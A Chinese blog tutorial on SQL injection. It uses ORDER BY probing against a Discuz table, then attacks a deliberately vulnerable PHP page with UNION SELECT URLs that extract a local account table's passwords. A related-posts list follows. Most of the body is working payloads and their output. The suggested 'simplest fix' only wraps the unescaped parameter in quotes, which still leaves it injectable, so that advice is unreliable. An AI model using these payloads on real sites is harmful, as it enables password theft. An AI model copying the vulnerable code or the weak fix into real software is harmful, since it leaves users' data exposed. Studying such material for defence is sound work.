一、查询表中包含有多少列: 这里以DISCUZ举例说明,如下

select * FROM pre_forum_thread ORDER BY 80

返回,Unknown column '80' in 'order clause',这样可以判定一定小于80列,下面再试用 39

select * FROM pre_forum_thread ORDER BY 39

正常返回了数据,我们判定一定大于等于39,因此只要再试一下40就可以了,这里略过试用,对于开源程序,我完全可以知道他就是有39列。 二、构造参数,读取数据库中的密码 这里以本地创建的一个表为例,前提是参数没有被过滤等操作,表 account 含有三个字段,分别为 id,admin,password 表内包含数据为:

1 admin 12345678
2 test 134545

创建PHP读取数据库文件 x.php:

<?php
$link = mysql_connect('127.0.0.1','root','11111111');
mysql_select_db('xtest',$link);
$id = isset($_GET['id'])?$_GET['id']:1;
$sql = "SELECT * FROM `account` WHERE id = " . $id;
$query = mysql_query($sql);
while($row = mysql_fetch_array($query)){
echo $row['admin'] . "<br/>";
}
?>

访问地址 http://127.0.0.1/x.php?id=2 返回数据 test,到这里开始SQL的注入使用,构造参数后的地址

http://127.0.0.1/x.php?id=2 union select 1,2,3 from `account` where id=2

在返回数据中,发现2被返回了,因此,需要修改这里的2位置为想要的字段内容,比如说 password ,即地址修改为

http://127.0.0.1/x.php?id=2 union select 1,password,3 from `account` where id=2

执行地址后返回数据:

test
134545

这样密码就得到了。 当然这里只是简单的举例说明,没有对密码进行MD5加密,如果是MD5加密或其它加密的话,仍然需要接下来的破解,就不是这里主要讲述的内容了。 此问题的解决办法,说一个最简单的吧 ,将SQL语句 $sql = "SELECT * FROM `account` WHERE id = " . $id; 修改为

$sql = "SELECT * FROM `account` WHERE id = '$id'";
三、在第二个问题中,发现用户是使用了 while将所有数据进行循环得出的数据,如果用户不是循环,而是直接输出了最后一条数据怎么办呢?
这时,只要将参数重新修改,就可以只返回union回来的数据了,如下
http://127.0.0.1/x.php?id=3 union select 1,password,3 from `account` where id=2
因为表里面没有这条id=3的数据,又或者
http://127.0.0.1/x.php?id=2 and 1=2 union select 1,password,3 from `account` where id=2
这里很明显 1和2是不相等的

SQL注入的几种实用办法相关推荐

  1. 关于防止sql注入的几种手段(二)

    接着下午的写: 关于防止sql注入的几种手段(一) 第二条或许应该再补充一下,在mysql里,也有类似的执行动态语句的,就是PREPARE+execute,这个的使用和mssql里的sp_execut ...

  2. 防范SQL注入的几种方法 4

    sql = "SELECT ID T_ID, NAME FROM Category where ID="&ID&" ORDER BY xh asc&quo ...

  3. SQL注入分类,一看你就明白了。SQL注入点/SQL注入类型/SQL注入有几种/SQL注入点分类

    「作者主页」:士别三日wyx 「作者简介」:CSDN top200.阿里云博客专家.华为云享专家.网络安全领域优质创作者 SQL注入分类 一.数值型注入 二.字符型注入 1)单引号字符型注入 2)双引 ...

  4. 网站mysql防止sql注入攻击 3种方法总结

    mysql数据库一直以来都遭受到sql注入攻击的影响,很多网站,包括目前的PC端以及手机端都在使用php+mysql数据库这种架构,大多数网站受到的攻击都是与sql注入攻击有关,那么mysql数据库如 ...

  5. 强网杯 2019]随便注 【SQL注入】四种解法

    题目简介 题目名称:[强网杯 2019]随便注 1 题目平台:BUUCTF 题目类型:Web 考察知识点: SQL注入 解题步骤 方法一: 首先启动并访问靶机,有一个输入框,随便输入1' or 1 = ...

  6. jsp工程防止外部注入_防止 jsp被sql注入的五种方法

    一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体 ...

  7. java防止sql注入方正_有效防止SQL注入的5种方法总结

    sql注入入门 SQL 注入是一类危害极大的攻击形式.虽然危害很大,但是防御却远远没有XSS那么困难. SQL 注入漏洞存在的原因,就是拼接 SQL 参数.也就是将用于输入的查询参数,直接拼接在 SQ ...

  8. 防止SQL注入的几种方法

    一.什么是sql注入 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总 ...

  9. sql 单引号_三种数据库的 SQL 注入详解

    SQL 注入原理 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用 ...

最新文章

  1. SVN状态图标不显示的两种解决办法
  2. noip2005 过河
  3. 计算机视觉编程——多视图几何
  4. python安装依赖失败_python执行安装第三方依赖numpy失败:error: Unable to find vcvarsall.bat...
  5. Flink 双流 Join 的3种操作示例
  6. 设单片机的晶振频率为6mhz c语言,单片机习题科学出版社.doc
  7. 电子秤连接_电子秤称重仪表故障与维修
  8. tf.concat用法总结
  9. ui-router 路由重定向
  10. 《机器学习Python实践》第5章——数据导入
  11. pandas函数速查手册(高清版)PDF
  12. 嵌入式linux开发实战——项目1认识嵌入式系统
  13. ThinkPad R400 T400 详细拆机图解超精华
  14. 岳不群认识独孤九剑吗?
  15. Acdream 1424 Diversion 树链剖分+线段树
  16. touchID 和 FaceID~2
  17. 风控违约场景如何预测,来看看这份常见的三种模型实现算法对比
  18. 荣耀Magic5 Pro屏幕参数怎么样? 荣耀Magic5 Pro摄像头参数
  19. 外边距塌陷问题及其对策
  20. 域控下发脚本_域控下发脚本,安装zabbix客户端

热门文章

  1. java soap envelope_如何在SOAP请求中关闭Envelope和Body
  2. 印度程序培训之ISAS考试方法及评分参考准则
  3. Asp.Net 章节验证控件章节测试题
  4. hbase获取region以及读取每个region的第一行
  5. 人工神经网络模型与分类
  6. Spark SQL 之SQLContext(二)
  7. ElasticSearch5.3插件开发(二)获取集群健康信息
  8. Spark SQL程序实现RDD转换DataFrame
  9. 一文让你彻底理解 Java HashMap
  10. Elasticsearch6.X 新类型Join深入详解